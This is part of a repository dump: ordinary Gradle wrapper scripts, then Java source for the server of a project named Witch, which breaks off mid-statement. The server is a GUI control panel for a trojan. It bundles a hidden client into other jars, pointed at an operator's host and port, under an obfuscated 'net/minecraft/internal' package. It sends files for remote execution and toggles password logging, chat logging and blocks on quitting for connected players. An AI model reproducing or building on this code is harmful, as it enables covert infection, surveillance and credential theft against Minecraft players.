-------------------------------------------------------------------------------- /gradlew: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # 4 | # Copyright © 2015-2021 the original authors. 5 | # 6 | # Licensed under the Apache License, Version 2.0 (the "License"); 7 | # you may not use this file except in compliance with the License. 8 | # You may obtain a copy of the License at 9 | # 10 | # https://www.apache.org/licenses/LICENSE-2.0 11 | # 12 | # Unless required by applicable law or agreed to in writing, software 13 | # distributed under the License is distributed on an "AS IS" BASIS, 14 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 15 | # See the License for the specific language governing permissions and 16 | # limitations under the License. 17 | # 18 | 19 | ############################################################################## 20 | # 21 | # Gradle start up script for POSIX generated by Gradle. 22 | # 23 | # Important for running: 24 | # 25 | # (1) You need a POSIX-compliant shell to run this script. If your /bin/sh is 26 | # noncompliant, but you have some other compliant shell such as ksh or 27 | # bash, then to run this script, type that shell name before the whole 28 | # command line, like: 29 | # 30 | # ksh Gradle 31 | # 32 | # Busybox and similar reduced shells will NOT work, because this script 33 | # requires all of these POSIX shell features: 34 | # * functions; 35 | # * expansions «$var», «${var}», «${var:-default}», «${var+SET}», 36 | # «${var#prefix}», «${var%suffix}», and «$( cmd )»; 37 | # * compound commands having a testable exit status, especially «case»; 38 | # * various built-in commands including «command», «set», and «ulimit». 39 | # 40 | # Important for patching: 41 | # 42 | # (2) This script targets any POSIX shell, so it avoids extensions provided 43 | # by Bash, Ksh, etc; in particular arrays are avoided. 44 | # 45 | # The "traditional" practice of packing multiple parameters into a 46 | # space-separated string is a well documented source of bugs and security 47 | # problems, so this is (mostly) avoided, by progressively accumulating 48 | # options in "$@", and eventually passing that to Java. 49 | # 50 | # Where the inherited environment variables (DEFAULT_JVM_OPTS, JAVA_OPTS, 51 | # and GRADLE_OPTS) rely on word-splitting, this is performed explicitly; 52 | # see the in-line comments for details. 53 | # 54 | # There are tweaks for specific operating systems such as AIX, CygWin, 55 | # Darwin, MinGW, and NonStop. 56 | # 57 | # (3) This script is generated from the Groovy template 58 | # https://github.com/gradle/gradle/blob/master/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt 59 | # within the Gradle project. 60 | # 61 | # You can find Gradle at https://github.com/gradle/gradle/. 62 | # 63 | ############################################################################## 64 | 65 | # Attempt to set APP_HOME 66 | 67 | # Resolve links: $0 may be a link 68 | app_path=$0 69 | 70 | # Need this for daisy-chained symlinks. 71 | while 72 | APP_HOME=${app_path%"${app_path##*/}"} # leaves a trailing /; empty if no leading path 73 | [ -h "$app_path" ] 74 | do 75 | ls=$( ls -ld "$app_path" ) 76 | link=${ls#*' -> '} 77 | case $link in #( 78 | /*) app_path=$link ;; #( 79 | *) app_path=$APP_HOME$link ;; 80 | esac 81 | done 82 | 83 | APP_HOME=$( cd "${APP_HOME:-./}" && pwd -P ) || exit 84 | 85 | APP_NAME="Gradle" 86 | APP_BASE_NAME=${0##*/} 87 | 88 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 89 | DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' 90 | 91 | # Use the maximum available, or set MAX_FD != -1 to use that value. 92 | MAX_FD=maximum 93 | 94 | warn () { 95 | echo "$*" 96 | } >&2 97 | 98 | die () { 99 | echo 100 | echo "$*" 101 | echo 102 | exit 1 103 | } >&2 104 | 105 | # OS specific support (must be 'true' or 'false'). 106 | cygwin=false 107 | msys=false 108 | darwin=false 109 | nonstop=false 110 | case "$( uname )" in #( 111 | CYGWIN* ) cygwin=true ;; #( 112 | Darwin* ) darwin=true ;; #( 113 | MSYS* | MINGW* ) msys=true ;; #( 114 | NONSTOP* ) nonstop=true ;; 115 | esac 116 | 117 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar 118 | 119 | 120 | # Determine the Java command to use to start the JVM. 121 | if [ -n "$JAVA_HOME" ] ; then 122 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 123 | # IBM's JDK on AIX uses strange locations for the executables 124 | JAVACMD=$JAVA_HOME/jre/sh/java 125 | else 126 | JAVACMD=$JAVA_HOME/bin/java 127 | fi 128 | if [ ! -x "$JAVACMD" ] ; then 129 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME 130 | 131 | Please set the JAVA_HOME variable in your environment to match the 132 | location of your Java installation." 133 | fi 134 | else 135 | JAVACMD=java 136 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 137 | 138 | Please set the JAVA_HOME variable in your environment to match the 139 | location of your Java installation." 140 | fi 141 | 142 | # Increase the maximum file descriptors if we can. 143 | if ! "$cygwin" && ! "$darwin" && ! "$nonstop" ; then 144 | case $MAX_FD in #( 145 | max*) 146 | MAX_FD=$( ulimit -H -n ) || 147 | warn "Could not query maximum file descriptor limit" 148 | esac 149 | case $MAX_FD in #( 150 | '' | soft) :;; #( 151 | *) 152 | ulimit -n "$MAX_FD" || 153 | warn "Could not set maximum file descriptor limit to $MAX_FD" 154 | esac 155 | fi 156 | 157 | # Collect all arguments for the java command, stacking in reverse order: 158 | # * args from the command line 159 | # * the main class name 160 | # * -classpath 161 | # * -D...appname settings 162 | # * --module-path (only if needed) 163 | # * DEFAULT_JVM_OPTS, JAVA_OPTS, and GRADLE_OPTS environment Variables.INSTANCE. 164 | 165 | # For Cygwin or MSYS, switch paths to Windows format before running java 166 | if "$cygwin" || "$msys" ; then 167 | APP_HOME=$( cygpath --path --mixed "$APP_HOME" ) 168 | CLASSPATH=$( cygpath --path --mixed "$CLASSPATH" ) 169 | 170 | JAVACMD=$( cygpath --unix "$JAVACMD" ) 171 | 172 | # Now convert the arguments - kludge to limit ourselves to /bin/sh 173 | for arg do 174 | if 175 | case $arg in #( 176 | -*) false ;; # don't mess with options #( 177 | /?*) t=${arg#/} t=/${t%%/*} # looks like a POSIX filepath 178 | [ -e "$t" ] ;; #( 179 | *) false ;; 180 | esac 181 | then 182 | arg=$( cygpath --path --ignore --mixed "$arg" ) 183 | fi 184 | # Roll the args list around exactly as many times as the number of 185 | # args, so each arg winds up back in the position where it started, but 186 | # possibly modified. 187 | # 188 | # NB: a `for` loop captures its iteration list before it begins, so 189 | # changing the positional parameters here affects neither the number of 190 | # iterations, nor the values presented in `arg`. 191 | shift # remove old arg 192 | set -- "$@" "$arg" # push replacement arg 193 | done 194 | fi 195 | 196 | # Collect all arguments for the java command; 197 | # * $DEFAULT_JVM_OPTS, $JAVA_OPTS, and $GRADLE_OPTS can contain fragments of 198 | # shell script including quotes and variable substitutions, so put them in 199 | # double quotes to make sure that they get re-expanded; and 200 | # * put everything else in single quotes, so that it's not re-expanded. 201 | 202 | set -- \ 203 | "-Dorg.gradle.appname=$APP_BASE_NAME" \ 204 | -classpath "$CLASSPATH" \ 205 | org.gradle.wrapper.GradleWrapperMain \ 206 | "$@" 207 | 208 | # Use "xargs" to parse quoted args. 209 | # 210 | # With -n1 it outputs one arg per line, with the quotes and backslashes removed. 211 | # 212 | # In Bash we could simply go: 213 | # 214 | # readarray ARGS < <( xargs -n1 <<<"$var" ) && 215 | # set -- "${ARGS[@]}" "$@" 216 | # 217 | # but POSIX shell has neither arrays nor command substitution, so instead we 218 | # post-process each arg (as a line of input to sed) to backslash-escape any 219 | # character that might be a shell metacharacter, then use eval to reverse 220 | # that process (while maintaining the separation between arguments), and wrap 221 | # the whole thing up as a single "set" statement. 222 | # 223 | # This will of course break if any of these variables contains a newline or 224 | # an unmatched quote. 225 | # 226 | 227 | eval "set -- $( 228 | printf '%s\n' "$DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS" | 229 | xargs -n1 | 230 | sed ' s~[^-[:alnum:]+,./:=@_]~\\&~g; ' | 231 | tr '\n' ' ' 232 | )" '"$@"' 233 | 234 | exec "$JAVACMD" "$@" 235 | -------------------------------------------------------------------------------- /gradlew.bat: -------------------------------------------------------------------------------- 1 | @rem 2 | @rem Copyright 2015 the original author or authors. 3 | @rem 4 | @rem Licensed under the Apache License, Version 2.0 (the "License"); 5 | @rem you may not use this file except in compliance with the License. 6 | @rem You may obtain a copy of the License at 7 | @rem 8 | @rem https://www.apache.org/licenses/LICENSE-2.0 9 | @rem 10 | @rem Unless required by applicable law or agreed to in writing, software 11 | @rem distributed under the License is distributed on an "AS IS" BASIS, 12 | @rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | @rem See the License for the specific language governing permissions and 14 | @rem limitations under the License. 15 | @rem 16 | 17 | @if "%DEBUG%" == "" @echo off 18 | @rem ########################################################################## 19 | @rem 20 | @rem Gradle startup script for Windows 21 | @rem 22 | @rem ########################################################################## 23 | 24 | @rem Set local scope for the variables with windows NT shell 25 | if "%OS%"=="Windows_NT" setlocal 26 | 27 | set DIRNAME=%~dp0 28 | if "%DIRNAME%" == "" set DIRNAME=. 29 | set APP_BASE_NAME=%~n0 30 | set APP_HOME=%DIRNAME% 31 | 32 | @rem Resolve any "." and ".." in APP_HOME to make it shorter. 33 | for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi 34 | 35 | @rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 36 | set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m" 37 | 38 | @rem Find java.exe 39 | if defined JAVA_HOME goto findJavaFromJavaHome 40 | 41 | set JAVA_EXE=java.exe 42 | %JAVA_EXE% -version >NUL 2>&1 43 | if "%ERRORLEVEL%" == "0" goto execute 44 | 45 | echo. 46 | echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 47 | echo. 48 | echo Please set the JAVA_HOME variable in your environment to match the 49 | echo location of your Java installation. 50 | 51 | goto fail 52 | 53 | :findJavaFromJavaHome 54 | set JAVA_HOME=%JAVA_HOME:"=% 55 | set JAVA_EXE=%JAVA_HOME%/bin/java.exe 56 | 57 | if exist "%JAVA_EXE%" goto execute 58 | 59 | echo. 60 | echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 61 | echo. 62 | echo Please set the JAVA_HOME variable in your environment to match the 63 | echo location of your Java installation. 64 | 65 | goto fail 66 | 67 | :execute 68 | @rem Setup the command line 69 | 70 | set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar 71 | 72 | 73 | @rem Execute Gradle 74 | "%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* 75 | 76 | :end 77 | @rem End local scope for the variables with windows NT shell 78 | if "%ERRORLEVEL%"=="0" goto mainEnd 79 | 80 | :fail 81 | rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of 82 | rem the _cmd.exe /c_ return code! 83 | if not "" == "%GRADLE_EXIT_CONSOLE%" exit 1 84 | exit /b 1 85 | 86 | :mainEnd 87 | if "%OS%"=="Windows_NT" endlocal 88 | 89 | :omega 90 | -------------------------------------------------------------------------------- /huaji.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexadecimal233/witch/6822e4631bf436dd3d2e9b42b01401d1253ca541/huaji.png -------------------------------------------------------------------------------- /img.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hexadecimal233/witch/6822e4631bf436dd3d2e9b42b01401d1253ca541/img.png -------------------------------------------------------------------------------- /server/build.gradle: -------------------------------------------------------------------------------- 1 | plugins { 2 | id 'com.github.johnrengelman.shadow' version '7.1.2' 3 | } 4 | 5 | archivesBaseName = project.archives_base_name + "-server" 6 | version = project.version 7 | group = project.maven_group 8 | 9 | configurations { 10 | implementation.extendsFrom(library) 11 | shadow.extendsFrom(library) 12 | } 13 | shadowJar { 14 | configurations = [project.configurations.shadow] 15 | } 16 | 17 | dependencies { 18 | library 'com.google.code.gson:gson:2.10' 19 | library 'com.formdev:flatlaf:3.0' 20 | library 'com.miglayout:miglayout:3.7.4' 21 | compileOnly project(":shared") 22 | } 23 | 24 | evaluationDependsOn(':shared') 25 | tasks.withType(JavaCompile).configureEach { 26 | source project(':shared').sourceSets.main.allSource 27 | } 28 | 29 | task copyJar(type: Copy, dependsOn: jar) { 30 | from shadowJar.archiveFile 31 | into "${rootDir}/output" 32 | } 33 | task copyData(type: Copy, dependsOn: jar) { 34 | from "${rootDir}/data" 35 | into "${rootDir}/output/data" 36 | } 37 | 38 | jar { 39 | dependsOn shadowJar 40 | manifest { 41 | attributes 'Main-Class': 'me.soda.witch.server.Main' 42 | } 43 | finalizedBy copyJar, copyData 44 | } -------------------------------------------------------------------------------- /server/src/main/java/me/soda/witch/server/Main.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.server; 2 | 3 | import com.formdev.flatlaf.FlatLightLaf; 4 | import me.soda.witch.server.server.Server; 5 | 6 | import java.io.IOException; 7 | 8 | public class Main { 9 | public static void main(String[] args) throws IOException { 10 | FlatLightLaf.setup(); 11 | new Server(); 12 | } 13 | } -------------------------------------------------------------------------------- /server/src/main/java/me/soda/witch/server/gui/AdminPanel.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.server.gui; 2 | 3 | import net.miginfocom.swing.MigLayout; 4 | 5 | import javax.swing.*; 6 | import javax.swing.border.LineBorder; 7 | import javax.swing.table.DefaultTableModel; 8 | import java.awt.*; 9 | 10 | public class AdminPanel extends JPanel { 11 | public final JTextArea console; 12 | public final JTable table; 13 | 14 | public AdminPanel() { 15 | setLayout(new MigLayout("insets 5")); 16 | 17 | table = new JTable(new DefaultTableModel(new Object[][]{}, new String[]{"ID", "IP", "Player"}) { 18 | @Override 19 | public boolean isCellEditable(int row, int column) { 20 | return false; 21 | } 22 | }); 23 | 24 | JScrollPane scrollTbl = new JScrollPane(table); 25 | 26 | add(scrollTbl, "dock center, wrap"); 27 | 28 | console = new JTextArea("Witch Server Console\n") { 29 | @Override 30 | public void append(String str) { 31 | str += "\n"; 32 | super.append(str); 33 | } 34 | }; 35 | console.setRows(10); 36 | console.setLineWrap(true); 37 | console.setBackground(Color.DARK_GRAY); 38 | console.setForeground(Color.WHITE); 39 | console.setBorder(LineBorder.createGrayLineBorder()); 40 | console.setEditable(false); 41 | 42 | JScrollPane scrollTxt = new JScrollPane(console); 43 | add(new JButton("Clear") {{ 44 | addActionListener(e -> console.setText("Console cleared\n")); 45 | }}, "wrap"); 46 | add(scrollTxt, "dock south"); 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /server/src/main/java/me/soda/witch/server/gui/GUI.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.server.gui; 2 | 3 | import me.soda.witch.server.utils.Utils; 4 | import me.soda.witch.shared.ProgramUtil; 5 | import net.miginfocom.swing.MigLayout; 6 | 7 | import javax.imageio.ImageIO; 8 | import javax.swing.*; 9 | import java.awt.*; 10 | import java.awt.event.MouseAdapter; 11 | import java.awt.event.MouseEvent; 12 | import java.io.IOException; 13 | 14 | public class GUI extends JFrame { 15 | public GUI(Container panel) { 16 | JDialog generateWindow = Utils.dialog(this, "Generate client jars", new GenerateWindow()); 17 | JDialog obfuscateWindow = Utils.dialog(this, "Obfuscator", new ObfuscateWindow()); 18 | 19 | JMenuBar menuBar = new JMenuBar(); 20 | JMenu themeMenu = new JMenu("Server"); 21 | 22 | JMenuItem build = new JMenuItem("Build"); 23 | build.addActionListener(e -> generateWindow.setVisible(true)); 24 | 25 | JMenuItem obf = new JMenuItem("Obfuscator"); 26 | obf.addActionListener(e -> obfuscateWindow.setVisible(true)); 27 | 28 | JMenuItem about = new JMenuItem("About"); 29 | about.addActionListener(e -> JOptionPane.showConfirmDialog(this, new JPanel() {{ 30 | setLayout(new MigLayout()); 31 | try { 32 | ImageIcon icon = new ImageIcon(ImageIO.read(GUI.class.getClassLoader().getResourceAsStream("icon.png"))); 33 | Image scaleImage = icon.getImage().getScaledInstance(64, 64, Image.SCALE_SMOOTH); 34 | icon.setImage(scaleImage); 35 | JLabel img = new JLabel(icon); 36 | add(img, "center, wrap"); 37 | } catch (IOException ex) { 38 | ex.printStackTrace(); 39 | } 40 | add(new JLabel() { 41 | { 42 | String url = "https://github.com/ThebestkillerTBK/witch"; 43 | setText("Witch by Soda5601\nGithub"); 44 | addMouseListener(new MouseAdapter() { 45 | @Override 46 | public void mouseClicked(MouseEvent e) { 47 | ProgramUtil.openURL(url); 48 | } 49 | }); 50 | } 51 | }); 52 | }}, "About Witch", JOptionPane.DEFAULT_OPTION)); 53 | 54 | themeMenu.add(build); 55 | themeMenu.add(obf); 56 | themeMenu.add(about); 57 | 58 | menuBar.add(themeMenu); 59 | setJMenuBar(menuBar); 60 | setContentPane(panel); 61 | setTitle("Witch server control"); 62 | setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE); 63 | pack(); 64 | setLocationRelativeTo(getOwner()); 65 | setVisible(true); 66 | } 67 | } 68 | -------------------------------------------------------------------------------- /server/src/main/java/me/soda/witch/server/gui/GenerateWindow.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.server.gui; 2 | 3 | import me.soda.witch.server.utils.ConfigModifier; 4 | import me.soda.witch.server.utils.Utils; 5 | import net.miginfocom.swing.MigLayout; 6 | 7 | import javax.swing.*; 8 | import java.awt.event.KeyAdapter; 9 | import java.awt.event.KeyEvent; 10 | import java.nio.file.Files; 11 | import java.nio.file.Path; 12 | 13 | public class GenerateWindow extends JPanel { 14 | public GenerateWindow() { 15 | setLayout(new MigLayout("insets 10")); 16 | 17 | JTextField inputFileText = new JTextField(50); 18 | JTextField outputFileText = new JTextField(50); 19 | JTextField injectedText = new JTextField(50); 20 | 21 | JButton inputSelectBtn = new JButton("📁"); 22 | JButton outputSelectBtn = new JButton("📁"); 23 | JButton injectedSelectBtn = new JButton("📁"); 24 | 25 | JTextField hostText = new JTextField(40); 26 | JTextField portText = new JTextField(5); 27 | 28 | JButton generateBtn = new JButton("Generate"); 29 | JButton bundleBtn = new JButton("Bundle"); 30 | JButton autoBtn = new JButton("Generate & Bundle"); 31 | 32 | generateBtn.addActionListener(e -> { 33 | try { 34 | ConfigModifier.generate(inputFileText.getText(), outputFileText.getText(), hostText.getText(), Integer.parseInt(portText.getText())); 35 | JOptionPane.showMessageDialog(this, "Operation completed"); 36 | } catch (Exception ex) { 37 | JOptionPane.showConfirmDialog(this, ex.getMessage(), "Error", JOptionPane.DEFAULT_OPTION, JOptionPane.ERROR_MESSAGE); 38 | } 39 | }); 40 | 41 | bundleBtn.addActionListener(e -> { 42 | try { 43 | ConfigModifier.bundle(inputFileText.getText(), injectedText.getText(), outputFileText.getText()); 44 | JOptionPane.showMessageDialog(this, "Operation completed"); 45 | } catch (Exception ex) { 46 | JOptionPane.showConfirmDialog(this, ex.getMessage(), "Error", JOptionPane.DEFAULT_OPTION, JOptionPane.ERROR_MESSAGE); 47 | } 48 | }); 49 | 50 | autoBtn.addActionListener(e -> { 51 | try { 52 | ConfigModifier.generate(injectedText.getText(), "cache.tmp", hostText.getText(), Integer.parseInt(portText.getText())); 53 | ConfigModifier.bundle(inputFileText.getText(), "cache.tmp", outputFileText.getText()); 54 | Files.deleteIfExists(Path.of("cache.tmp")); 55 | JOptionPane.showMessageDialog(this, "Operation completed"); 56 | } catch (Exception ex) { 57 | JOptionPane.showConfirmDialog(this, ex.getMessage(), "Error", JOptionPane.DEFAULT_OPTION, JOptionPane.ERROR_MESSAGE); 58 | } 59 | }); 60 | 61 | portText.addKeyListener(new KeyAdapter() { 62 | @Override 63 | public void keyTyped(KeyEvent e) { 64 | char c = e.getKeyChar(); 65 | if (c < '0' || c > '9') e.consume(); 66 | } 67 | }); 68 | 69 | inputSelectBtn.addActionListener(e -> inputFileText.setText(Utils.chooseFile(false, this))); 70 | outputSelectBtn.addActionListener(e -> outputFileText.setText(Utils.chooseFile(true, this))); 71 | injectedSelectBtn.addActionListener(e -> injectedText.setText(Utils.chooseFile(false, this))); 72 | 73 | add(new JLabel("Input file")); 74 | add(inputFileText); 75 | add(inputSelectBtn, "wrap, pushx"); 76 | 77 | add(new JLabel("Output file")); 78 | add(outputFileText); 79 | add(outputSelectBtn, "wrap, pushx"); 80 | 81 | add(new JLabel("Injected file (Witch Client)")); 82 | add(injectedText); 83 | add(injectedSelectBtn, "wrap, pushx"); 84 | 85 | add(new JLabel("Port")); 86 | add(portText, "split 3"); 87 | add(new JLabel("Host")); 88 | add(hostText, "wrap, pushx"); 89 | 90 | String btns = "gapleft 160, gapright 160, dock south"; 91 | add(generateBtn, btns); 92 | add(bundleBtn, btns); 93 | add(autoBtn, btns); 94 | } 95 | } 96 | -------------------------------------------------------------------------------- /server/src/main/java/me/soda/witch/server/gui/ObfuscateWindow.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.server.gui; 2 | 3 | import me.soda.witch.server.utils.Utils; 4 | import net.miginfocom.swing.MigLayout; 5 | 6 | import javax.swing.*; 7 | 8 | public class ObfuscateWindow extends JPanel { 9 | public ObfuscateWindow() { 10 | setLayout(new MigLayout("insets 10")); 11 | 12 | JTextField inputFileText = new JTextField(50); 13 | JTextField pkg = new JTextField("net/minecraft/internal", 50); 14 | JTextField outputFileText = new JTextField(50); 15 | 16 | JButton inputSelectBtn = new JButton("📁"); 17 | JButton outputSelectBtn = new JButton("📁"); 18 | 19 | JButton generateBtn = new JButton("WIP"); 20 | 21 | generateBtn.addActionListener(e -> { 22 | try { 23 | //Obfuscator.obfuscate(inputFileText.getText(), outputFileText.getText(), pkg.getText()); 24 | JOptionPane.showMessageDialog(this, "Operation completed"); 25 | } catch (Exception ex) { 26 | JOptionPane.showConfirmDialog(this, ex.getMessage(), "Error", JOptionPane.DEFAULT_OPTION, JOptionPane.ERROR_MESSAGE); 27 | } 28 | }); 29 | 30 | inputSelectBtn.addActionListener(e -> inputFileText.setText(Utils.chooseFile(false, this))); 31 | outputSelectBtn.addActionListener(e -> outputFileText.setText(Utils.chooseFile(true, this))); 32 | 33 | add(new JLabel("Input file")); 34 | add(inputFileText); 35 | add(inputSelectBtn, "wrap, pushx"); 36 | 37 | add(new JLabel("Output file")); 38 | add(outputFileText); 39 | add(outputSelectBtn, "wrap, pushx"); 40 | 41 | add(new JLabel("Package")); 42 | add(pkg, "wrap, pushx"); 43 | 44 | add(generateBtn, "gapleft 160, gapright 160, dock south"); 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /server/src/main/java/me/soda/witch/server/gui/ServerChatWindow.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.server.gui; 2 | 3 | 4 | import me.soda.witch.shared.socket.Connection; 5 | import me.soda.witch.shared.socket.messages.messages.StringsData; 6 | 7 | import javax.swing.*; 8 | import java.awt.*; 9 | import java.util.List; 10 | 11 | public class ServerChatWindow extends JDialog { 12 | public final JTextArea receivedText; 13 | public final Connection connection; 14 | private final JTextField sendText; 15 | 16 | public ServerChatWindow(Connection connection) { 17 | this.connection = connection; 18 | setSize(560, 420); 19 | setDefaultCloseOperation(DISPOSE_ON_CLOSE); 20 | 21 | JPanel panel = new JPanel(); 22 | panel.setLayout(new BorderLayout()); 23 | 24 | receivedText = new JTextArea() { 25 | @Override 26 | public void append(String str) { 27 | str += "\n"; 28 | super.append(str); 29 | } 30 | }; 31 | receivedText.setEditable(false); 32 | receivedText.setForeground(Color.BLACK); 33 | panel.add(receivedText); 34 | 35 | JPanel sendPanel = new JPanel(); 36 | sendPanel.setLayout(new BorderLayout()); 37 | 38 | sendText = new JTextField(); 39 | sendPanel.add(sendText); 40 | 41 | JButton sendBtn = new JButton("Send"); 42 | sendBtn.addActionListener(event -> send()); 43 | sendPanel.add(sendBtn, BorderLayout.EAST); 44 | 45 | panel.add(sendPanel, BorderLayout.SOUTH); 46 | getContentPane().add(panel, BorderLayout.CENTER); 47 | setVisible(true); 48 | } 49 | 50 | private void send() { 51 | String text = sendText.getText(); 52 | if (!text.isEmpty()) { 53 | receivedText.append("You: " + text); 54 | sendText.setText(""); 55 | connection.send(new StringsData("chat", List.of(text))); 56 | } 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /server/src/main/java/me/soda/witch/server/server/Server.java: -------------------------------------------------------------------------------- 1 | package me.soda.witch.server.server; 2 | 3 | import com.google.gson.Gson; 4 | import me.soda.witch.server.gui.AdminPanel; 5 | import me.soda.witch.server.gui.GUI; 6 | import me.soda.witch.server.gui.ServerChatWindow; 7 | import me.soda.witch.server.utils.Info; 8 | import me.soda.witch.server.utils.Utils; 9 | import me.soda.witch.shared.Crypto; 10 | import me.soda.witch.shared.FileUtil; 11 | import me.soda.witch.shared.socket.Connection; 12 | import me.soda.witch.shared.socket.TcpServer; 13 | import me.soda.witch.shared.socket.messages.Data; 14 | import me.soda.witch.shared.socket.messages.Message; 15 | import me.soda.witch.shared.socket.messages.messages.*; 16 | import net.miginfocom.swing.MigLayout; 17 | 18 | import javax.swing.*; 19 | import javax.swing.event.PopupMenuEvent; 20 | import javax.swing.event.PopupMenuListener; 21 | import javax.swing.table.DefaultTableModel; 22 | import javax.swing.text.JTextComponent; 23 | import java.awt.*; 24 | import java.awt.event.WindowAdapter; 25 | import java.awt.event.WindowEvent; 26 | import java.io.File; 27 | import java.io.FileInputStream; 28 | import java.io.IOException; 29 | import java.time.LocalDateTime; 30 | import java.time.format.DateTimeFormatter; 31 | import java.util.ArrayList; 32 | import java.util.Arrays; 33 | import java.util.List; 34 | import java.util.concurrent.ConcurrentHashMap; 35 | import java.util.stream.Stream; 36 | 37 | public class Server extends TcpServer { 38 | private static final Gson GSON = new Gson(); 39 | public final ConcurrentHashMap clientMap = new ConcurrentHashMap<>(); 40 | protected final ClientConfigData clientDefaultConf = Utils.getDefaultClientConfig(); 41 | protected final ServerConfig config = Utils.getServerConfig(); 42 | private final AdminPanel adminPanel; 43 | private final List selectedConns = new ArrayList<>(); 44 | private final GUI gui; 45 | private final List chatWindows = new ArrayList<>(); 46 | private int clientIndex = 0; 47 | 48 | public Server() throws IOException { 49 | super(); 50 | adminPanel = new AdminPanel(); 51 | gui = new GUI(adminPanel); 52 | gui.addWindowListener(new WindowAdapter() { 53 | @Override 54 | public void windowClosing(WindowEvent e) { 55 | try { 56 | stop(); 57 | } catch (IOException | InterruptedException ex) { 58 | JOptionPane.showConfirmDialog(gui, ex.getMessage(), "Failed to stop server", JOptionPane.DEFAULT_OPTION, JOptionPane.ERROR_MESSAGE); 59 | System.exit(1); 60 | } 61 | } 62 | }); 63 | 64 | adminPanel.table.setComponentPopupMenu( 65 | new JPopupMenu() {{ 66 | addPopupMenuListener(new PopupMenuListener() { 67 | @Override 68 | public void popupMenuWillBecomeVisible(PopupMenuEvent e) { 69 | selectedConns.clear(); 70 | int[] i = adminPanel.table.getSelectedRows(); 71 | for (int i1 : i) { 72 | selectedConns.add((Integer) adminPanel.table.getValueAt(i1, 0)); 73 | } 74 | } 75 | 76 | @Override 77 | public void popupMenuWillBecomeInvisible(PopupMenuEvent e) { 78 | } 79 | 80 | @Override 81 | public void popupMenuCanceled(PopupMenuEvent e) { 82 | } 83 | }); 84 | 85 | 86 | JMenuItem disconnect = new JMenuItem("Disconnect"); 87 | disconnect.addActionListener(e -> getConnStream().forEach(connection -> connection.close(DisconnectData.Reason.NOREC))); 88 | 89 | JMenuItem reconnect = new JMenuItem("Reconnect"); 90 | reconnect.addActionListener(e -> getConnStream().forEach(connection -> connection.close(DisconnectData.Reason.RECONNECT))); 91 | 92 | JMenuItem execute = new JMenuItem("Execute"); 93 | execute.addActionListener(e -> { 94 | JFileChooser fileChooser = new JFileChooser(); 95 | if (fileChooser.showOpenDialog(this) == JFileChooser.APPROVE_OPTION) { 96 | try (FileInputStream is = new FileInputStream(fileChooser.getSelectedFile())) { 97 | byte[] data = is.readAllBytes(); 98 | send(new ByteData("execute", data)); 99 | } catch (IOException ex) { 100 | JOptionPane.showConfirmDialog(this, ex.getMessage(), "Error", JOptionPane.DEFAULT_OPTION, JOptionPane.ERROR_MESSAGE); 101 | } 102 | } 103 | }); 104 | 105 | JMenuItem config = new JMenuItem("Config"); 106 | config.addActionListener(e -> getConnStream().forEach(conn -> { 107 | ClientConfigData cfg = clientMap.get(conn).configData; 108 | new JDialog(gui, true) {{ 109 | JCheckBox passwordBeingLogged = new JCheckBox("Log password", cfg.passwordBeingLogged); 110 | JCheckBox isMuted = new JCheckBox("Mute", cfg.isMuted); 111 | JCheckBox isBeingFiltered = new JCheckBox("Filter", cfg.isBeingFiltered); 112 | JTextField filterPattern = new JTextField(cfg.filterPattern); 113 | JCheckBox logChatAndCommand = new JCheckBox("Log chat and command", cfg.passwordBeingLogged); 114 | JCheckBox canJoinServer = new JCheckBox("Can join server", cfg.passwordBeingLogged); 115 | JCheckBox canQuitServerOrCloseWindow = new JCheckBox("Can quit server or close window", cfg.passwordBeingLogged); 116 | JTextField serverName = new JTextField(cfg.name); 117 | JTextArea invisiblePlayers = new JTextArea(); 118 | cfg.invisiblePlayers.forEach(p -> invisiblePlayers.append(p + "\n")); 119 | JButton send = new JButton("Send"); 120 | send.addActionListener(e1 -> { 121 | cfg.passwordBeingLogged = passwordBeingLogged.isSelected(); 122 | cfg.isMuted = isMuted.isSelected(); 123 | cfg.isBeingFiltered = isBeingFiltered.isSelected(); 124 | cfg.filterPattern = filterPattern.getText(); 125 | cfg.logChatAndCommand = logChatAndCommand.isSelected(); 126 | cfg.canJoinServer = canJoinServer.isSelected(); 127 | cfg.canQuitServerOrCloseWindow = canQuitServerOrCloseWindow.isSelected(); 128 | cfg.name = serverName.getText(); 129 | cfg.invisiblePlayers = Arrays.stream(invisiblePlayers.getText().split("\n")).map(s -> s.replace("\r", "")).filter(String::isBlank).toList(); 130 | send(cfg); 131 | clientMap.get(conn).configData = 